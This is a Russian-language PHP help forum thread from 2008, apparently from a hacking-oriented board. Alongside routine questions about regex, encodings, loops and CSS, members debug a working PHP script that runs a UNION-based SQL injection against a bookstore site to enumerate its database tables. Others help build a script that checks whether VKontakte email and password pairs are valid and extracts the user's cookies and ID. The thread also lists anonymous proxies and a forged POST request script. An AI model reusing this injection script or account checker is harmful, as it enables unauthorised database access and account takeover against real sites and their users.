$tableName = '';
if (!$fp) {
echo "$errstr ($errno)<br />\n";
exit;
}
for ($i=1; $i<$i1;$i++) {
$out = 'GET /bookstore/author.php?id=-48208+union+select+1,2,3,concat(0x7c3a7c3a,table_s chema,0x2e,table_name,0x3a7c3a7c),5,null,null,null ,9,10,11,12+from+information_schema.tables+limit+' .$i.',1/*'." HTTP/1.1\r\n";
$out .= "Host: ".$host."\r\n";
$out .= "User-Agent: LOL/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n";
$out .= "Connection: Close\r\n\r\n";
while (!feof($fp))
{
$packet = fgets($fp);
fwrite($fh,$packet);
$pos = strpos($packet,'|:|:');
$pos1 = strpos($packet,':|:|');
$tableName = substr($packet, $pos+4, $pos1 - $pos - 4);
if (($pos) and ($pos1))
{
echo " pos: $pos\n pos1: $pos1\n table name: $tableName\n";
}
}
$out = '';
}
fclose($fp);
?>
появилась проблема... цикл for не работает.. точнее он проходит один шаг и завершается.. "кто виноват/ что делать?" (с)
C циклом всё ок! У меня вот что: Fatal error: Maximum execution time of 30 seconds exceeded
Значит за 30 секунд цикл не успевает сделать 131 запрос к серверу, убирай ограничение на время выполнения скрипта
set_time_limit(0);
ini_set("max_execution_time",0);
хм.. пускаю на локалхосте через php-cli... попробую сейчас так сделать..
да и дело в том что он проходит первый раз.. и все... вот что в консольке получается:
pos: 39
pos1: 72
table name: information_schema.COLLATIONS
pos: 52
pos1: 85
table name: information_schema.COLLATIONS
pos: 34
pos1: 67
table name: information_schema.COLLATIONS
pos: 20
pos1: 53
table name: information_schema.COLLATIONS
все это происходит секунды за две.. так что я думаю set_time_limit() тут не при чем...
все... разобрался я с этим... просто в конце в for надо было добавить строку
$fp = fsockopen($host, 80, $errno, $errstr, 30);
всем спасибо=)
Помогите разобраться, эта регулярка
preg_match("/[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}/i", $_POST['email'])
не пропускает emailы вида xxx@x-xx.xx. Короче с тере в домене не пропускает.
ну дак добавь тире в список разрешенных символов. чего тут трудного?
mff
preg_match("/[0-9a-z_]+@[0-9a-z_\-^\.]+\.[a-z]{2,3}/i", "xxx@x-xx.xx");
Naydav, спасибо! Работает как нада :D Регулярные выражения - зло :D
Там всего лишь пару символов добавлено
preg_match("/[0-9a-z_]+@[0-9a-z_\-^\.]+\.[a-z]{2,3}/i", "xxx@x-xx.xx");
[0-9a-z_\-^\.] - это список допустимых значений, ничего сложного нет :)
Регулярные выражения - зло
Лень - большее зло :)
скажите, плз, на сайте используется русский язык:
1)utf-8 хуже cp1251, если да, то почему и в чем?
2) как средствами php, перекодировать базу mysql bp utf-8 в cp1251 (именно на php)?
1)utf-8 хуже cp1251, если да, то почему и в чем?
Ну почему же хуже? наоборот лучше, никогда не возникает проблем с кодировкой полученных данных(причем на разных языках), например таких, как при аплоад файлов с помощью аякс(сабмит формы в скрытый фрейм)
Единственная проблема, это изменение темплейта...
То есть все данные в файле темплейта должны быть в кодировке ютф8
А недостатков у ютф8, наверно и нет
astrologer
27.06.2008, 18:07
У utf-8 по-моему, только один недостаток - это двухбайтовая кодировка, соответственно размер базы данных увеличится.
аплоад файлов с помощью аяксЭто как?) Просвети, пожалуйста.
StalkerKill
27.06.2008, 18:09
Warning: fsockopen() has been disabled for security reasons in /www/croe.net/p/i/........./home/site/WebIcqPro.class.php on line 1055
Error: Cant establish connection to: login.icq.com:80
Что это означает? Поставил YourICQ BOT, установил все зашел в админку. Подключаюсь, а он вы дает эту ошибку
Это как?) Просвети, пожалуйста.
Ну ты мне еще помогал
yаверно это уже обсуждалось:
Если мы используем ajax(библиотека jquery), то данные передаються в utf8, можно ли передавать данные в windows-1251
Проблема возникла в том, что когда просто передаю форму, то данные идут на сервер в ютф8, я их обрабатываю и все нормально...
Но когда к форме прикрепляю файл, то данные идут в windows-1251
Вопрос:
Как заставить передавать в одной кодировке(в любой) форму, внезависимости передаеться или нет file
Не проверять же на серваке кодировку данных...
я уже заи"лсо, блин
Разве на точке не ответили?
Кстати, jQuery добавляет дополнительный заголовок к запросу:
Код:
// Set header so the called script knows that it's an XMLHttpRequest xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
Блин, самое оно , работы много нету даже времени искать ? все горит
если сог бы купил бы тебе пива
Я знаю, что
При отсылке файла идёт обычный сабмит формы в скрытый фрейм, а без файла — через Ajax-запрос. Поэтому правило простое — если есть файл, то колировка у остальных полей будет 1251.
А ещё лучше выдавать все страницы в UTF-8, тогда эти проблемы не будут возникать как класс.
astrologer
Мифы о недостатках
http://webmastak.com/article.aspx?id=300
так интересненько, о реальных примерах бы почитать
astrologer
27.06.2008, 18:31
astrologer
так интересненько, о реальных примерах бы почитатьЕсли hoty нужно перекодировать базу из utf-8 в cp1251, то, очевидно, в базе есть кириллица - поэтому я и не стал уточнять.
у меня joomla + каталог на sobi2
-скачал официальную версию joomla 1.5.3 (с оф.сайта) через Denwer установил её.
скачал с оф.сайта русификацию для joomla.
// отображается нормально - по русски все //
-далее, скачал sobi2 с офф сайта. прикрепил к joomla
// отображается нормально - joomla по русски, sobi2 по англ. //
установил русификацию sobi2
// отображается НЕнормально - joomla по русски, sobi2 иероглифами, и наоброт//
что делать, не знаю, охото сейчас сайт.. а phpс зимы начну учить ((
// отображается НЕнормально - joomla по русски, sobi2 иероглифами, и наоброт//
Ну скорее всего данные от одного идут в utf8, а от другого в cp1251
Проверь - измени кодировку в браузере на utf8
Посмотри в базе (например с помощью PhpMyAdmin) в какой кодировке храняться данные от joomla и sobi2
fujixakep
27.06.2008, 19:20
а phpс зимы начну учить ((
а сечас что религия непозволяет
fujixakep
27.06.2008, 19:43
<?php
$KB = 1024;
//$MB = 1048576;
//$GB = 1073741824;
$link = "http://www.freewebs.com/luismi83/gpedit.zip";
$out = get_headers($link);
foreach($out as $value){
if($strpos = strpos($value, "Length: ")){
$size = substr($value, $strpos + 8);
}
}
if($size < $KB){
$size = 0;
}elseif($size == $KB){
$size = 1;
}elseif($size > $KB){
$size = sprintf("%4.0f", ceil($size / 1024));
}
print $size."KB<br />\r\n";
?>
на все ушло 30 минут и это гуд
StalkerKill, сокеты отключены по причинам безопастности, не получется у тебя, братец, забацать бота на том сайте, заюзай другой хост, я советовал в первом посте моей темы.
А почему спрашиваешь не там, где все спрашивают?
!{ra!{e/\/
28.06.2008, 11:18
каким образом можно вытащить ID юзера с Vkonaktе?
каким образом можно вытащить ID юзера с Vkonaktе?
Поясни
fujixakep
28.06.2008, 12:37
Поясни
))
!{ra!{e/\/
28.06.2008, 12:51
хочу написать скрипт...юзер заходит на сайт вбивает свое мыло+пароль с вконтакте и показывается его фото +кое что из инфо...как это сделать?
..начал писать из готовых..
<?php
set_time_limit(0);
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr);
$out = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "Content-Length: 38\r\n";
$out .= "Pragma: no-cache\r\n";
$out .= "Cookie: remixchk=5; remixlang=0; remixfriends=1; remixclosed_tabs=0; remixautobookmark=2\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
$out .= "email=rambler@rambler.ru&pass=Dnrj43e9";
fwrite($fp,$out);
echo "coocie--->> ".$_COOKIE['remixmid'];
# Записываем ответ сервера в переменную
while (!feof($fp))
{
$ans=fgets($fp);
}
echo $ans;
# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
echo " true";
} else {
echo " false";
}
fclose($fp);
?>
что делать дальше?
GreenTiger
28.06.2008, 13:17
Мне интересно, зачем вы все проходите через login.php ?
Сразу cookie ставить на index нельзя?
Вопросов тогда не было бы
GreenTiger
28.06.2008, 13:18
каким образом можно вытащить ID юзера с Vkonaktе?
cookie на index, ответ парсишь preg_match 'em
!{ra!{e/\/
28.06.2008, 13:27
Мне интересно, зачем вы все проходите через login.php ?
Сразу cookie ставить на index нельзя?
Вопросов тогда не было бы
можешь подробнее написать?....как сразу подставлять куки?..нужно же их вначале получить для конкретного мыла+пароля?...не так?
!{ra!{e/\/
28.06.2008, 13:32
cookie на index, ответ парсишь preg_match 'em
нужно же знать еще ID
GreenTiger
28.06.2008, 13:49
можешь подробнее написать?....как сразу подставлять куки?..нужно же их вначале получить для конкретного мыла+пароля?...не так?
Непостоянные куки только мыло, пароль и айди, но обязательные и другие куки не помню какие, но они постоянные
GreenTiger
28.06.2008, 13:49
нужно же знать еще ID
На заголовок login.php смотри и отправляй следующий сокет с этим ид
!{ra!{e/\/
28.06.2008, 13:55
На заголовок login.php смотри и отправляй следующий сокет с этим ид
...неполучается(((
На заголовок login.php смотри...как??
fujixakep
28.06.2008, 13:59
$answer = explode("\r\n", $answer);
for ($i = 0; $i <= count($answer); $i++) {
if (strstr($answer[$i], "Set-Cookie: ")) { $cookie = str_replace("Set-Cookie: ","",answer[$i]); }
}
ну а далее как обычно
Cookie: ".$cookie."\r\n
mouse.pro
28.06.2008, 14:00
каким образом можно вытащить ID юзера с Vkonaktе?
Отправляешь сокет на login.php, в ответе прийдет вместе с куками id, парсишь и все.
!{ra!{e/\/
28.06.2008, 16:22
<?php
set_time_limit(0);
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr);
# Отправляем заголовки
$out = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
$out .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Content-Type: application/x-www-form-urlencoded\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "Content-Length: 38\r\n";
$out .= "Pragma: no-cache\r\n";
$out .= "Cookie: remixchk=5; remixlang=0; remixfriends=1; remixclosed_tabs=0; remixautobookmark=2\r\n";
$out .= "Connection: Keep-Alive\r\n\r\n";
$out .= "email=mail@rambler.ru&pass=qwerty123";
fwrite($fp,$out);
echo "coocie--->> ".$_COOKIE['remixmid'];
# Записываем ответ сервера в переменную
//$ans=fgets($fp,3000);
echo $ans;
while(!feof($fp))
{
$ans=fgets($fp);
echo $ans;
}
# Закрываем сокет
echo $ans;
# Если 302 найден, значит акк валидный
if(preg_match("/\b302 Found\b/is", $ans)) {
echo " true";
} else {
echo " false";
}
fclose($fp);
?>
в чем ошибка?
HTTP-шлюз не отвечает
чо такое foreach в php ?????
обясните плизз. а то в манулах все на англиском и мине не понятна
Shadow_p1raT
28.06.2008, 20:34
Данный тип цикла предназначен специально для перебора всех элементов массива и
был добавлен только в четвертой версии языка PHP. Выглядит он следующим обра-
зом:
foreach(массив as $key=>$value){
команды;
}
Red_Red1
28.06.2008, 20:35
foreach Это цикл для перебора ассоциативного массива. Удобная штука. Вот тебе на русском мануал
http://www.php.su/php/intro/?9_2
fujixakep
29.06.2008, 05:00
HTTP proxies:
203.162.224.139:80
58.53.220.9:80
201.54.148.7:3128
66.60.234.132:80
203.162.163.80:80
Anonymous HTTP proxies:
198.151.38.68:80
211.38.131.22:80
207.97.253.254:80
217.20.130.86:80
203.177.74.139:8080
High anonymous (elite) HTTP proxies:
66.60.234.132:80
128.187.223.211:3127
216.194.70.3:8118
222.47.88.14:3128
81.21.5.198:3128
Free HTTPS proxy list:
202.168.245.10:3128
190.68.184.42:3128
Free SOCKS 4 proxy list:
216.227.52.232:5208
71.135.116.130:40033
67.187.225.159:1026
24.255.217.98:13648
69.245.100.209:1027
Free SOCKS 5 proxy list:
216.227.52.232:5208
71.135.116.130:40033
24.255.217.98:13648
76.235.181.23:52677
201.17.172.71:1024
Free RUSSIAN proxies:
213.128.217.107:3128
217.23.176.78:3128
217.119.19.234:3128
86.110.27.240:3128
85.88.188.85:3128
81.30.211.105:3128
195.54.209.151:3128
195.54.209.166:3128
87.236.46.19:6588
212.220.154.218:3128
MafiaBoy3
29.06.2008, 06:28
Помогите с реализацией алгоритма как у дигга я не пойму как он работает
Решил освежить свои знания по подделке запросов к серверу - написал небольшой скрипт на пхп.
<?php
//90.156.158.104 www.litprom.ru
//Connection: Close\r\n\r\n
$fp = fsockopen("www.litprom.ru", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$headers = "POST /text.phtml?storycode=343 HTTP/1.0\r\n";
$headers .= "Host: www.litprom.ru\r\n";
$headers .= "User-Agent: Mosaic%200.1b\r\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$headers .= "Accept-Encoding: gzip,deflate\r\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\r\n";
$headers .= "Keep-Alive: 300\r\n";
$headers .= "Connection: keep-alive\r\n";
$headers .= "Referer: www.litprom.ru\r\n";
$headers .= "Cookie: PHPSESSID=ec8167a0ceae9ed75240f506212889bf; b=b; hotlog=1\r\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: 145\r\n";
$headers .= "POSTDATA: login=deex&password=pass&comment=%D0%9C%D0%B8%D1%80%D1%83+%D0%BC%D0%B8%D1%8 0%21&submit=%C7%E0%F5%F3%E9%FF%F0%E8%F2%FC%21&storycode=343&chapt=1\r\n\r\n";
fwrite($fp, $headers);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
а он орёт что длина не указана..
у нас тут прокся на работе. может она всё портит?
HTTP/1.0 411 Length Required Server: squid/2.5.STABLE6 Mime-Version: 1.0 Date: Sun, 29 Jun 2008 07:19:49 GMT Content-Type: text/html Content-Length: 1879 Expires: Sun, 29 Jun 2008 07:19:49 GMT X-Squid-Error: ERR_INVALID_REQ 0 X-Cache: MISS from linux.key-soft.net Connection: close
ERROR
The requested URL could not be retrieved
While trying to process the request:
GET /text.phtml?storycode=343 HTTP/1.0
Host: www.litprom.ru
User-Agent: Mosaic%200.1b
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: www.litprom.ru
Cookie: PHPSESSID=ec8167a0ceae9ed75240f506212889bf; b=b; hotlog=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 145
POSTDATA: login=deex&password=pass&comment=%D0%9C%D0%B8%D1%80%D1%83+%D0%BC%D0%B8%D1%8 0%21&submit=%C7%E0%F5%F3%E9%FF%F0%E8%F2%FC%21&storycode=343&chapt=1
The following error was encountered:
Invalid Request
Some aspect of the HTTP Request is invalid. Possible problems:
Missing or unknown request method
Missing URL
Missing HTTP Identifier (HTTP/1.0)
Request is too large
Content-Length missing for POST or PUT requests
Illegal character in hostname; underscores are not allowed
Your cache administrator is admin.
Не надо писать POSTDATA, нужно сразу писать запрос, а перед ним идёт двойной перенос строки
$headers .= "Content-Length: 145\r\n\r\n";
$headers .= "login=deex&password=pass&comment=%D0%9C%D0%B8%D1%80%D1%83+%D0%BC%D0%B8%D1%8 0%21&submit=%C7%E0%F5%F3%E9%FF%F0%E8%F2%FC%21&storycode=343&chapt=1\r\n";
в конце данных \r\n тоже не нужно
спасибо. тока литпром чет отказывается их принимать всё равно..
.Begemot.
29.06.2008, 21:33
Здравствуйте, подскажи как реализовать такую весчь, ввожу прокси, порт, имя сайта, нажимаем на кнопку и скрипт в отдельном окошке отображает этот сайт загруженный через прокси.
Простой запрос через прокси:
<?
$path="Адрес сайта";
$head="POST $path \\r\\n\\r\\n";
$fp = fsockopen("81.56.187.95", 80); // Адрес проксика
fputs($fp,$head);
fclose($fp);
echo "DONE";
?>
Аштимэль форму напишешь уж наверно...
Бгг, а как насчет указания версии протокола?
$head = "POST $path HTTP/1.1\r\n\r\n";
подскажите где скачать исходник icq сервера (ну что бы можно было конектится не к стандартному login.icq.com при запуске аськи а к своему)
Exlibris
30.06.2008, 13:24
ZET36 а разве есть такие на пыхе?
_http://forum.antichat.ru/thread65791.html
brasco2k
30.06.2008, 13:26
подскажите где скачать исходник icq сервера (ну что бы можно было конектится не к стандартному login.icq.com при запуске аськи а к своему)
Такого нет, но можно создать а потом классом WebIcqPro конектится к нему
а разве это не он? http://phpclasses.segmenta.ru/browse/package/996.html я гуглил вот наткнулся точно не знаю он ли это
MafiaBoy3
30.06.2008, 14:26
<html>
<head>
<style type="text/css">
body {
margin: 0;
padding: 0 20px;
background: #e5ecf3;
}
#container {
margin: 0 auto;
position: relative;
}
#header {
position: relative;
}
#none1 {
background-image: url(1.gif);
}
#none2 {
background-image: url(2.gif);
}
#none3 {
background-image: url(3.gif);
}
</style>
</head>
<body>
<div id="container">
<div id="header">
<div id="none1">
</div>
<div id="none2">
</div>
<div id="none3">
</div>
</div>
</div>
</body>
</html>
Не отображаются картинки. Интересно, почему?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot